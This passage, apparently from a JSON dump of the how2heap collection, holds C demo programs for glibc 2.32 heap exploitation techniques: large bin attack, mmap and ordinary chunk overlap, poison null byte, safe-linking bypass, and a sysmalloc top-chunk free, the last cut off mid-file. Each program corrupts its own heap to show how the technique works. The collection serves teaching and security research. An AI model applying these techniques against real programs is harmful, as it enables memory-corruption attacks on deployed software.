attack. The PoC is shown below : \\n\\n\");\n  \n  printf(\"====================================================================\\n\\n\");\n\n  size_t target = 0;\n  printf(\"Here is the target we want to overwrite (%p) : %lu\\n\\n\",&target,target);\n  size_t *p1 = malloc(0x428);\n  printf(\"First, we allocate a large chunk [p1] (%p)\\n\",p1-2);\n  size_t *g1 = malloc(0x18);\n  printf(\"And another chunk to prevent consolidate\\n\");\n\n  printf(\"\\n\");\n\n  size_t *p2 = malloc(0x418);\n  printf(\"We also allocate a second large chunk [p2]  (%p).\\n\",p2-2);\n  printf(\"This chunk should be smaller than [p1] and belong to the same large bin.\\n\");\n  size_t *g2 = malloc(0x18);\n  printf(\"Once again, allocate a guard chunk to prevent consolidate\\n\");\n\n  printf(\"\\n\");\n\n  free(p1);\n  printf(\"Free the larger of the two --> [p1] (%p)\\n\",p1-2);\n  size_t *g3 = malloc(0x438);\n  printf(\"Allocate a chunk larger than [p1] to insert [p1] into large bin\\n\");\n\n  printf(\"\\n\");\n\n  free(p2);\n  printf(\"Free the smaller of the two --> [p2] (%p)\\n\",p2-2);\n  printf(\"At this point, we have one chunk in large bin [p1] (%p),\\n\",p1-2);\n  printf(\"               and one chunk in unsorted bin [p2] (%p)\\n\",p2-2);\n\n  printf(\"\\n\");\n\n  p1[3] = (size_t)((&target)-4);\n  printf(\"Now modify the p1->bk_nextsize to [target-0x20] (%p)\\n\",(&target)-4);\n\n  printf(\"\\n\");\n\n  size_t *g4 = malloc(0x438);\n  printf(\"Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\\n\", p2-2, p2-2);\n  printf(\"Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\\n\");\n  printf(\"  the modified p1->bk_nextsize does not trigger any error\\n\");\n  printf(\"Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (%p)\\n\", p2-2, p1-2, p2-2);\n\n  printf(\"\\n\");\n\n  printf(\"In our case here, target is now overwritten to address of [p2] (%p), [target] (%p)\\n\", p2-2, (void *)target);\n  printf(\"Target (%p) : %p\\n\",&target,(size_t*)target);\n\n  printf(\"\\n\");\n  printf(\"====================================================================\\n\\n\");\n\n  assert((size_t)(p2-2) == target);\n\n  return 0;\n}\n"
  },
  {
    "path": "glibc_2.32/mmap_overlapping_chunks.c",
    "content": "#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n#include <unistd.h>\n\n/*\nTechnique should work on all versions of GLibC\nCompile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`\n\nPOC written by POC written by Maxwell Dulin (Strikeout) \n*/\nint main()\n{\n\t/*\n\tA primer on Mmap chunks in GLibC\n\t==================================\n\tIn GLibC, there is a point where an allocation is so large that malloc\n\tdecides that we need a seperate section of memory for it, instead \n\tof allocating it on the normal heap. This is determined by the mmap_threshold var.\n\tInstead of the normal logic for getting a chunk, the system call *Mmap* is \n\tused. This allocates a section of virtual memory and gives it back to the user. \n\n\tSimilarly, the freeing process is going to be different. Instead \n\tof a free chunk being given back to a bin or to the rest of the heap,\n\tanother syscall is used: *Munmap*. This takes in a pointer of a previously \n\tallocated Mmap chunk and releases it back to the kernel. \n\n\tMmap chunks have special bit set on the size metadata: the second bit. If this \n\tbit is set, then the chunk was allocated as an Mmap chunk. \n\n\tMmap chunks have a prev_size and a size. The *size* represents the current \n\tsize of the chunk. The *prev_size* of a chunk represents the left over space\n\tfrom the size of the Mmap chunk (not the chunks directly belows size). \n\tHowever, the fd and bk pointers are not used, as Mmap chunks do not go back \n\tinto bins, as most heap chunks in GLibC Malloc do. Upon freeing, the size of \n\tthe chunk must be page-aligned.\n\n\tThe POC below is essentially an overlapping chunk attack but on mmap chunks. \n\tThis is very similar to https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c. \n\tThe main difference is that mmapped chunks have special properties and are \n\thandled in different ways, creating different attack scenarios than normal \n\toverlapping chunk attacks. There are other things that can be done, \n\tsuch as munmapping system libraries, the heap itself and other things.\n\tThis is meant to be a simple proof of concept to demonstrate the general \n\tway to perform an attack on an mmap chunk.\n\n\tFor more information on mmap chunks in GLibC, read this post: \n\thttp://tukan.farm/2016/07/27/munmap-madness/\n\t*/\n\n\tint* ptr1 = malloc(0x10); \n\n\tprintf(\"This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\\n\");\n\tprintf(\"Extremely large chunks are special because they are allocated in their own mmaped section\\n\");\n\tprintf(\"of memory, instead of being put onto the normal heap.\\n\");\n\tputs(\"=======================================================\\n\");\n\tprintf(\"Allocating three extremely large heap chunks of size 0x100000 \\n\\n\");\n\t\t\n\tlong long* top_ptr = malloc(0x100000);\n\tprintf(\"The first mmap chunk goes directly above LibC: %p\\n\",top_ptr);\n\n\t// After this, all chunks are allocated downwards in memory towards the heap.\n\tlong long* mmap_chunk_2 = malloc(0x100000);\n\tprintf(\"The second mmap chunk goes below LibC: %p\\n\", mmap_chunk_2);\n\n\tlong long* mmap_chunk_3 = malloc(0x100000);\n\tprintf(\"The third mmap chunk goes below the second mmap chunk: %p\\n\", mmap_chunk_3);\n\n\tprintf(\"\\nCurrent System Memory Layout \\n\" \\\n\"================================================\\n\" \\\n\"running program\\n\" \\\n\"heap\\n\" \\\n\"....\\n\" \\\n\"third mmap chunk\\n\" \\\n\"second mmap chunk\\n\" \\\n\"LibC\\n\" \\\n\"....\\n\" \\\n\"ld\\n\" \\\n\"first mmap chunk\\n\"\n\"===============================================\\n\\n\" \\\n);\n\t\n\tprintf(\"Prev Size of third mmap chunk: 0x%llx\\n\", mmap_chunk_3[-2]);\n\tprintf(\"Size of third mmap chunk: 0x%llx\\n\\n\", mmap_chunk_3[-1]);\n\n\tprintf(\"Change the size of the third mmap chunk to overlap with the second mmap chunk\\n\");\t\n\tprintf(\"This will cause both chunks to be Munmapped and given back to the system\\n\");\n\tprintf(\"This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\\n\");\n\n\t// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.\n\t// Additionally, this same attack can be used with the prev_size instead of the size.\n\tmmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;\n\tprintf(\"New size of third mmap chunk: 0x%llx\\n\", mmap_chunk_3[-1]);\n\tprintf(\"Free the third mmap chunk, which munmaps the second and third chunks\\n\\n\");\n\n\t/*\n\tThis next call to free is actually just going to call munmap on the pointer we are passing it.\n\tThe source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845\n\n\tWith normal frees the data is still writable and readable (which creates a use after free on \n\tthe chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this\n\tdata is read or written to, the program crashes.\n\t\n\tBecause of this added restriction, the main goal is to get the memory back from the system\n\tto have two pointers assigned to the same location.\n\t*/\n\t// Munmaps both the second and third pointers\n\tfree(mmap_chunk_3); \n\n\t/* \n\tWould crash, if on the following:\n\tmmap_chunk_2[0] = 0xdeadbeef;\n\tThis is because the memory would not be allocated to the current program.\n\t*/\n\n\t/*\n\tAllocate a very large chunk with malloc. This needs to be larger than \n\tthe previously freed chunk because the mmapthreshold has increased to 0x202000.\n\tIf the allocation is not larger than the size of the largest freed mmap \n\tchunk then the allocation will happen in the normal section of heap memory.\n\t*/\t\n\tprintf(\"Get a very large chunk from malloc to get mmapped chunk\\n\");\n\tprintf(\"This should overlap over the previously munmapped/freed chunks\\n\");\n\tlong long* overlapping_chunk = malloc(0x300000);\n\tprintf(\"Overlapped chunk Ptr: %p\\n\", overlapping_chunk);\n\tprintf(\"Overlapped chunk Ptr Size: 0x%llx\\n\", overlapping_chunk[-1]);\n\n\t// Gets the distance between the two pointers.\n\tint distance = mmap_chunk_2 - overlapping_chunk;\n\tprintf(\"Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\\n\", distance);\n\tprintf(\"Value of index 0 of mmap chunk 2 prior to write: %llx\\n\", mmap_chunk_2[0]);\n\t\n\t// Set the value of the overlapped chunk.\n\tprintf(\"Setting the value of the overlapped chunk\\n\");\n\toverlapping_chunk[distance] = 0x1122334455667788;\n\n\t// Show that the pointer has been written to.\n\tprintf(\"Second chunk value (after write): 0x%llx\\n\", mmap_chunk_2[0]);\n\tprintf(\"Overlapped chunk value: 0x%llx\\n\\n\", overlapping_chunk[distance]);\n\tprintf(\"Boom! The new chunk has been overlapped with a previous mmaped chunk\\n\");\n\tassert(mmap_chunk_2[0] == overlapping_chunk[distance]);\n\n\t_exit(0); // exit early just in case we corrupted some libraries\n}\n"
  },
  {
    "path": "glibc_2.32/overlapping_chunks.c",
    "content": "/*\n\n A simple tale of overlapping chunk.\n This technique is taken from\n http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main(int argc , char* argv[])\n{\n\tsetbuf(stdout, NULL);\n\n\tlong *p1,*p2,*p3,*p4;\n\tprintf(\"\\nThis is another simple chunks overlapping problem\\n\");\n\tprintf(\"The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\\n\"\n\t\t   \"which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\\n\"\n\t\t   \"and the prev_size of it must match the unsortedbin's size\\n\"\n\t\t   \"This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\\n\\n\");\n\n\tprintf(\"Let's start to allocate 4 chunks on the heap\\n\");\n\n\tp1 = malloc(0x80 - 8);\n\tp2 = malloc(0x500 - 8);\n\tp3 = malloc(0x80 - 8);\n\n\tprintf(\"The 3 chunks have been allocated here:\\np1=%p\\np2=%p\\np3=%p\\n\", p1, p2, p3);\n\n\tmemset(p1, '1', 0x80 - 8);\n\tmemset(p2, '2', 0x500 - 8);\n\tmemset(p3, '3', 0x80 - 8);\n\n\tprintf(\"Now let's simulate an overflow that can overwrite the size of the\\nchunk freed p2.\\n\");\n\tint evil_chunk_size = 0x581;\n\tint evil_region_size = 0x580 - 8;\n\tprintf(\"We are going to set the size of chunk p2 to to %d, which gives us\\na region size of %d\\n\",\n\t\t evil_chunk_size, evil_region_size);\n\n\t/* VULNERABILITY */\n\t*(p2-1) = evil_chunk_size; // we are overwriting the \"size\" field of chunk p2\n\t/* VULNERABILITY */\n\n\tprintf(\"\\nNow let's free the chunk p2\\n\");\n\tfree(p2);\n\tprintf(\"The chunk p2 is now in the unsorted bin ready to serve possible\\nnew malloc() of its size\\n\");\n\n\tprintf(\"\\nNow let's allocate another chunk with a size equal to the data\\n\"\n\t       \"size of the chunk p2 injected size\\n\");\n\tprintf(\"This malloc will be served from the previously freed chunk that\\n\"\n\t       \"is parked in the unsorted bin which size has been modified by us\\n\");\n\tp4 = malloc(evil_region_size);\n\n\tprintf(\"\\np4 has been allocated at %p and ends at %p\\n\", (char *)p4, (char *)p4+evil_region_size);\n\tprintf(\"p3 starts at %p and ends at %p\\n\", (char *)p3, (char *)p3+0x80-8);\n\tprintf(\"p4 should overlap with p3, in this case p4 includes all p3.\\n\");\n\n\tprintf(\"\\nNow everything copied inside chunk p4 can overwrites data on\\nchunk p3,\"\n\t\t   \" and data written to chunk p3 can overwrite data\\nstored in the p4 chunk.\\n\\n\");\n\n\tprintf(\"Let's run through an example. Right now, we have:\\n\");\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tprintf(\"\\nIf we memset(p4, '4', %d), we have:\\n\", evil_region_size);\n\tmemset(p4, '4', evil_region_size);\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tprintf(\"\\nAnd if we then memset(p3, '3', 80), we have:\\n\");\n\tmemset(p3, '3', 80);\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tassert(strstr((char *)p4, (char *)p3));\n}\n\n\n"
  },
  {
    "path": "glibc_2.32/poison_null_byte.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tputs(\"Welcome to poison null byte!\");\n\tputs(\"Tested in Ubuntu 20.04 64bit.\");\n\tputs(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\");\n\n\tputs(\"Some of the implementation details are borrowed from https://github.com/StarCross-Tech/heap_exploit_2.31/blob/master/off_by_null.c\\n\");\n\n\t// step1: allocate padding\n\tputs(\"Step1: allocate a large padding so that the fake chunk's addresses's lowest 2nd byte is \\\\x00\");\n\tvoid *tmp = malloc(0x1);\n\tvoid *heap_base = (void *)((long)tmp & (~0xfff));\n\tprintf(\"heap address: %p\\n\", heap_base);\n\tsize_t size = 0x10000 - ((long)tmp&0xffff) - 0x20;\n\tprintf(\"Calculate padding chunk size: 0x%lx\\n\", size);\n\tputs(\"Allocate the padding. This is required to avoid a 4-bit bruteforce because we are going to overwrite least significant two bytes.\");\n\tvoid *padding= malloc(size);\n\n\t// step2: allocate prev chunk and victim chunk\n\tputs(\"\\nStep2: allocate two chunks adjacent to each other.\");\n\tputs(\"Let's call the first one 'prev' and the second one 'victim'.\");\n\tvoid *prev = malloc(0x500);\n\tvoid *victim = malloc(0x4f0);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\tprintf(\"prev chunk: malloc(0x500) = %p\\n\", prev);\n\tprintf(\"victim chunk: malloc(0x4f0) = %p\\n\", victim);\n\n\t// step3: link prev into largebin\n\tputs(\"\\nStep3: Link prev into largebin\");\n\tputs(\"This step is necessary for us to forge a fake chunk later\");\n\tputs(\"The fd_nextsize of prev and bk_nextsize of prev will be the fd and bck pointers of the fake chunk\");\n\tputs(\"allocate a chunk 'a' with size a little bit smaller than prev's\");\n\tvoid *a = malloc(0x4f0);\n\tprintf(\"a: malloc(0x4f0) = %p\\n\", a);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\tputs(\"allocate a chunk 'b' with size a little bit larger than prev's\");\n\tvoid *b = malloc(0x510);\n\tprintf(\"b: malloc(0x510) = %p\\n\", b);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\n\tputs(\"\\nCurrent Heap Layout\\n\"\n\t\t \"    ... ...\\n\"\n\t\t \"padding\\n\"\n\t\t \"    prev Chunk(addr=0x??0010, size=0x510)\\n\"\n     \t \"  victim Chunk(addr=0x??0520, size=0x500)\\n\"\n\t\t \" barrier Chunk(addr=0x??0a20, size=0x20)\\n\"\n\t\t \"       a Chunk(addr=0x??0a40, size=0x500)\\n\"\n\t\t \" barrier Chunk(addr=0x??0f40, size=0x20)\\n\"\n\t\t \"       b Chunk(addr=0x??0f60, size=0x520)\\n\"\n\t\t \" barrier Chunk(addr=0x??1480, size=0x20)\\n\");\n\n\tputs(\"Now free a, b, prev\");\n\tfree(a);\n\tfree(b);\n\tfree(prev);\n\tputs(\"current unsorted_bin:  header <-> [prev, size=0x510] <-> [b, size=0x520] <-> [a, size=0x500]\\n\");\n\n\tputs(\"Allocate a huge chunk to enable sorting\");\n\tmalloc(0x1000);\n\tputs(\"current large_bin:  header <-> [b, size=0x520] <-> [prev, size=0x510] <-> [a, size=0x500]\\n\");\n\n\tputs(\"This will add a, b and prev to largebin\\nNow prev is in largebin\");\n\tprintf(\"The fd_nextsize of prev points to a: %p\\n\", ((void **)prev)[2]+0x10);\n\tprintf(\"The bk_nextsize of prev points to b: %p\\n\", ((void **)prev)[3]+0x10);\n\n\t// step4: allocate prev again to construct fake chunk\n\tputs(\"\\nStep4: Allocate prev again to construct the fake chunk\");\n\tputs(\"Since large chunk is sorted by size and a's size is smaller than prev's,\");\n\tputs(\"we can allocate 0x500 as before to take prev out\");\n\tvoid *prev2 = malloc(0x500);\n\tprintf(\"prev2: malloc(0x500) = %p\\n\", prev2);\n\tputs(\"Now prev2 == prev, prev2->fd == prev2->fd_nextsize == a, and prev2->bk == prev2->bk_nextsize == b\");\n\tassert(prev == prev2);\n\n\tputs(\"The fake chunk is contained in prev and the size is smaller than prev's size by 0x10\");\n\tputs(\"So set its size to 0x501 (0x510-0x10 | flag)\");\n\t((long *)prev)[1] = 0x501;\n\tputs(\"And set its prev_size(next_chunk) to 0x500 to bypass the size==prev_size(next_chunk) check\");\n\t*(long *)(prev + 0x500) = 0x500;\n\tprintf(\"The fake chunk should be at: %p\\n\", prev + 0x10);\n\tputs(\"use prev's fd_nextsize & bk_nextsize as fake_chunk's fd & bk\");\n\tputs(\"Now we have fake_chunk->fd == a and fake_chunk->bk == b\");\n\n\t// step5: bypass unlinking\n\tputs(\"\\nStep5: Manipulate residual pointers to bypass unlinking later.\");\n\tputs(\"Take b out first by allocating 0x510\");\n\tvoid *b2 = malloc(0x510);\n\tprintf(\"Because of the residual pointers in b, b->fd points to a right now: %p\\n\", ((void **)b2)[0]+0x10);\n\tprintf(\"We can overwrite the least significant two bytes to make it our fake chunk.\\n\"\n\t\t\t\"If the lowest 2nd byte is not \\\\x00, we need to guess what to write now\\n\");\n\t((char*)b2)[0] = '\\x10';\n\t((char*)b2)[1] = '\\x00';  // b->fd <- fake_chunk\n\tprintf(\"After the overwrite, b->fd is: %p, which is the chunk pointer to our fake chunk\\n\", ((void **)b2)[0]);\n\n\tputs(\"To do the same to a, we can move it to unsorted bin first\"\n\t\t\t\"by taking it out from largebin and free it into unsortedbin\");\n\tvoid *a2 = malloc(0x4f0);\n\tfree(a2);\n\tputs(\"Now free victim into unsortedbin so that a->bck points to victim\");\n\tfree(victim);\n\tprintf(\"a->bck: %p, victim: %p\\n\", ((void **)a)[1], victim);\n\tputs(\"Again, we take a out and overwrite a->bck to fake chunk\");\n\tvoid *a3 = malloc(0x4f0);\n\t((char*)a3)[8] = '\\x10';\n\t((char*)a3)[9] = '\\x00';\n\tprintf(\"After the overwrite, a->bck is: %p, which is the chunk pointer to our fake chunk\\n\", ((void **)a3)[1]);\n\t// pass unlink_chunk in malloc.c:\n\t//      mchunkptr fd = p->fd;\n\t//      mchunkptr bk = p->bk;\n\t//      if (__builtin_expect (fd->bk != p || bk->fd != p, 0))\n\t//          malloc_printerr (\"corrupted double-linked list\");\n\tputs(\"And we have:\\n\"\n\t\t \"fake_chunk->fd->bk == a->bk == fake_chunk\\n\"\n\t\t \"fake_chunk->bk->fd == b->fd == fake_chunk\\n\"\n\t\t );\n\n\t// step6: add fake chunk into unsorted bin by off-by-null\n\tputs(\"\\nStep6: Use backward consolidation to add fake chunk into unsortedbin\");\n\tputs(\"Take victim out from unsortedbin\");\n\tvoid *victim2 = malloc(0x4f0);\n\tprintf(\"%p\\n\", victim2);\n\tputs(\"off-by-null into the size of vicim\");\n\t/* VULNERABILITY */\n\t((char *)victim2)[-8] = '\\x00';\n\t/* VULNERABILITY */\n\n\tputs(\"Now if we free victim, libc will think the fake chunk is a free chunk above victim\\n\"\n\t\t\t\"It will try to backward consolidate victim with our fake chunk by unlinking the fake chunk then\\n\"\n\t\t\t\"add the merged chunk into unsortedbin.\"\n\t\t\t);\n\tprintf(\"For our fake chunk, because of what we did in step4,\\n\"\n\t\t\t\"now P->fd->bk(%p) == P(%p), P->bk->fd(%p) == P(%p)\\n\"\n\t\t\t\"so the unlink will succeed\\n\", ((void **)a3)[1], prev, ((void **)b2)[0], prev);\n\tfree(victim);\n\tputs(\"After freeing the victim, the new merged chunk is added to unsorted bin\"\n\t\t\t\"And it is overlapped with the prev chunk\");\n\n\t// step7: validate the chunk overlapping\n\tputs(\"Now let's validate the chunk overlapping\");\n\tvoid *merged = malloc(0x100);\n\tprintf(\"merged: malloc(0x100) = %p\\n\", merged);\n\tmemset(merged, 'A', 0x80);\n\tprintf(\"Now merged's content: %s\\n\", (char *)merged);\n\n\tputs(\"Overwrite prev's content\");\n\tmemset(prev2, 'C', 0x80);\n\tprintf(\"merged's content has changed to: %s\\n\", (char *)merged);\n\n\tassert(strstr(merged, \"CCCCCCCCC\"));\n}\n"
  },
  {
    "path": "glibc_2.32/safe_link_double_protect.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\n/* \n * This method showcases a blind bypass for the safe-linking mitigation introduced in glibc 2.32. \n * https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41\n * \n * NOTE: This requires 4 bits of bruteforce if the primitive is a write primitive, as the LSB will  \n * contain 4 bits of randomness. If you can increment integers, no brutefore is required.\n *\n * Safe-Linking is a memory protection measure using ASLR randomness to fortify single-linked lists. \n * It obfuscates pointers and enforces alignment checks, to prevent pointer hijacking in t-cache.\n *\n * When an entry is linked in to the t-cache, the address is XOR'd with the address that free is \n * called on, shifted by 12 bits. However if you were to link this newly protected pointer, it\n * would be XOR'd again with the same key, effectively reverting the protection. \n * Thus, by simply protecting a pointer twice we effectively achieve the following:\n *\t\n *                                  (ptr^key)^key = ptr\n *\n * The technique requires control over the t-cache metadata, so pairing it with a technique such as\n * house of water might be favourable.\n *\n * Technique by @udp_ctf - Water Paddler / Blue Water \n */\n\nint main(void) {\n\t// Prevent _IO_FILE from buffering in the heap\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\tsetbuf(stderr, NULL);\n\n\t// Create the goal stack buffer\n\tchar goal[] = \"Replace me!\";\n\tputs(\"============================================================\");\n\tprintf(\"Our goal is to write to the stack variable @ %p\\n\", goal);\n\tprintf(\"String contains: %s\\n\", goal);\n\tputs(\"============================================================\");\n\tputs(\"\\n\");\n\n\t// Step 1: Allocate\n\tputs(\"Allocate two chunks in two different t-caches:\");\n\t\n\t// Allocate two chunks of size 0x38 for 0x40 t-cache\n\tputs(\"\\t- 0x40 chunks:\");\n\tvoid *a = malloc(0x38);\n\tvoid *b = malloc(0x38);\n\tprintf(\"\\t\\t* Entry a @ %p\\n\", a);\n\tprintf(\"\\t\\t* Entry b @ %p\\n\", b);\n\n\t// Allocate two chunks of size 0x18 for 0x20 t-cache\n\tvoid *c = malloc(0x18);\n\tvoid *d = malloc(0x18);\n\tputs(\"\\t- 0x20 chunks:\");\n\tprintf(\"\\t\\t* Entry c @ %p\\n\", c);\n\tprintf(\"\\t\\t* Entry d @ %p\\n\", d);\n\tputs(\"\");\n\n\t// Step 2: Write an arbitrary value (or note the offset to an exsisting value)\n\tputs(\"Allocate a pointer which will contain a pointer to the stack variable:\");\n\n\t// Allocate a chunk and store a modified pointer to the 'goal' array.\n\tvoid *value = malloc(0x28);\n\t// make sure that the pointer ends on 0 for proper heap alignemnt or a fault will occur\n\t*(long *)value = ((long)(goal) & ~(0xf));\n\n\tprintf(\"\\t* Arbitrary value (0x%lx) written to %p\\n\", *(long*)value, value);\n\tputs(\"\");\n\n\t// Step 3: Free the two chunks in the two t-caches to make two t-cache entries in two different caches\n\tputs(\"Free the 0x40 and 0x20 chunks to populate the t-caches\");\n\n\tputs(\"\\t- Free 0x40 chunks:\");\n\t// Free the allocated 0x38 chunks to populate the 0x40 t-cache\n\tfree(a);\n\tfree(b);\n\tprintf(\"\\t\\t> 0x40 t-cache: [%p -> %p]\\n\", b, a);\n\n\tputs(\"\\t- Free the 0x20 chunks\");\n\t// Free the allocated 0x18 chunks to populate the 0x20 t-cache\n\tfree(c);\n\tfree(d);\n\tprintf(\"\\t\\t> 0x20 t-cache: [%p -> %p]\\n\", d, c);\n\tputs(\"\");\n\n\t// Step 4: Using our t-cache metadata control primitive, we will now execute the vulnerability\n\tputs(\"Modify the 0x40 t-cache pointer to point to the heap value that holds our arbitrary value, \");\n\tputs(\"by overwriting the LSB of the pointer for 0x40 in the t-cache metadata:\");\n\t\n\t// Calculate the address of the t-cache metadata\n\tvoid *metadata = (void *)((long)(value) & ~(0xfff));\n\n\t// Overwrite the LSB of the 0x40 t-cache chunk to point to the heap chunk containing the arbitrary value\n\t*(unsigned int*)(metadata+0xa0) = (long)(metadata)+((long)(value) & (0xfff));\n\n\tprintf(\"\\t\\t> 0x40 t-cache: [%p -> 0x%lx]\\n\", value, (*(long*)value)^((long)metadata>>12));\n\tputs(\"\");\n\n\tputs(\"Allocate once to make the protected pointer the current entry in the 0x40 bin:\");\n\tvoid *_ = malloc(0x38);\n\tprintf(\"\\t\\t> 0x40 t-cache: [0x%lx]\\n\", *(unsigned long*)(metadata+0xa0));\n\tputs(\"\");\n\n\t/* VULNERABILITY */\t\n\tputs(\"Point the 0x20 bin to the 0x40 bin in the t-cache metadata, containing the newly safe-linked value:\");\n\t*(unsigned int*)(metadata+0x90) = (long)(metadata)+0xa0;\n\tprintf(\"\\t\\t> 0x20 t-cache: [0x%lx -> 0x%lx]\\n\", (long)(metadata)+0xa0, *(long*)value);\n\tputs(\"\");\n\t/* VULNERABILITY */\t\n\n\t// Step 5: Allocate twice to allocate the arbitrary value\n\tputs(\"Allocate twice to gain a pointer to our arbitrary value\");\n\t\n\t_ = malloc(0x18);\n\tprintf(\"\\t\\t> First  0x20 allocation: %p\\n\", _);\n\t\n\tchar *vuln = malloc(0x18);\n\tprintf(\"\\t\\t> Second 0x20 allocation: %p\\n\", vuln);\n\tputs(\"\");\n\n\t// Step 6: Overwrite the goal string pointer and verify it has been changed\n\tstrcpy(vuln, \"XXXXXXXXXXX HIJACKED!\");\n\n\tprintf(\"String now contains: %s\\n\", goal);\t\n\tassert(strcmp(goal, \"Replace me!\") != 0);\n}\n"
  },
  {
    "path": "glibc_2.32/sysmalloc_int_free.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n\n#define SIZE_SZ sizeof(size_t)\n\n#define CHUNK_HDR_SZ (SIZE_SZ*2)\n// same for x86_64 and x86\n#define MALLOC_ALIGN 0x10\n#define MALLOC_MASK (-MALLOC_ALIGN)\n\n#define PAGESIZE sysconf(_SC_PAGESIZE)\n#define PAGE_MASK (PAGESIZE-1)\n\n// fencepost are offsets removed from the top before freeing\n#define FENCEPOST (2*CHUNK_HDR_SZ)\n\n#define PROBE (0x20-CHUNK_HDR_SZ)\n\n// target top chunk size that should be freed\n#define CHUNK_FREED_SIZE 0x150\n#define FREED_SIZE (CHUNK_FREED_SIZE-CHUNK_HDR_SZ)\n\n/**\n * Tested on:\n *  + GLIBC 2.39 (x86_64, x86 & aarch64)\n *  + GLIBC 2.34 (x86_64, x86 & aarch64)\n *  + GLIBC 2.31 (x86_64, x86 & aarch64)\n *  + GLIBC 2.27 (x86_64, x86 & aarch64)\n *\n * sysmalloc allows us to free() the top chunk of heap to create nearly arbitrary bins,\n * which can be used to corrupt heap without needing to call free() directly.\n * This is achieved through sysmalloc calling _int_free to the top_chunk (wilderness),\n * if the top_chunk can't be merged during heap growth\n * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n *\n * This technique is used in House of Orange & Tangerine\n */\nint main() {\n  size_t allocated_size, *top_size_ptr, top_size, new_top_size, freed_top_size, *new, *old;\n  // disable buffering\n  setvbuf(stdout, NULL, _IONBF, 0);\n  setvbuf(stdin, NULL, _IONBF, 0);\n  setvbuf(stderr, NULL, _IONBF, 0);\n\n  // check if all chunks sizes are aligned\n  assert((CHUNK_FREED_SIZE & MALLOC_MASK) == CHUNK_FREED_SIZE);\n\n  puts(\"Constants:\");\n  printf(\"chunk header \\t\\t= 0x%lx\\n\", CHUNK_HDR_SZ);\n  printf(\"malloc align \\t\\t= 0x%lx\\n\", MALLOC_ALIGN);\n  printf(\"page align \\t\\t= 0x%lx\\n\", PAGESIZE);\n  printf(\"fencepost size \\t\\t= 0x%lx\\n\", FENCEPOST);\n  printf(\"freed size \\t\\t= 0x%lx\\n\", FREED_SIZE);\n\n  printf(\"target top chunk size \\t= 0x%lx\\n\", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_FREED_SIZE);\n\n  // probe the current size of the top_chunk,\n  // can be skipped if it is already known or predictable\n  new = malloc(PROBE);\n  top_size = new[(PROBE / SIZE_SZ) + 1];\n  printf(\"first top size \\t\\t= 0x%lx\\n\", top_size);\n\n  // calculate allocated_size\n  allocated_size = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_FREED_SIZE;\n  allocated_size &= PAGE_MASK;\n  allocated_size &= MALLOC_MASK;\n\n  printf(\"allocated size \\t\\t= 0x%lx\\n\\n\", allocated_size);\n\n  puts(\"1. create initial malloc that will be used to corrupt the top_chunk (wilderness)\");\n  new = malloc(allocated_size);\n\n  // use BOF or OOB to corrupt the top_chunk\n  top_size_ptr = &new[(allocated_size / SIZE_SZ)-1 + (MALLOC_ALIGN / SIZE_SZ)];\n\n  top_size = *top_size_ptr;\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- initial malloc\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|      SIZE (0x%05lx)   |\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         top_size - 1,\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n  puts(\"2. corrupt the size of top chunk to be less, but still page aligned\");\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599\n  new_top_size = top_size & PAGE_MASK;\n  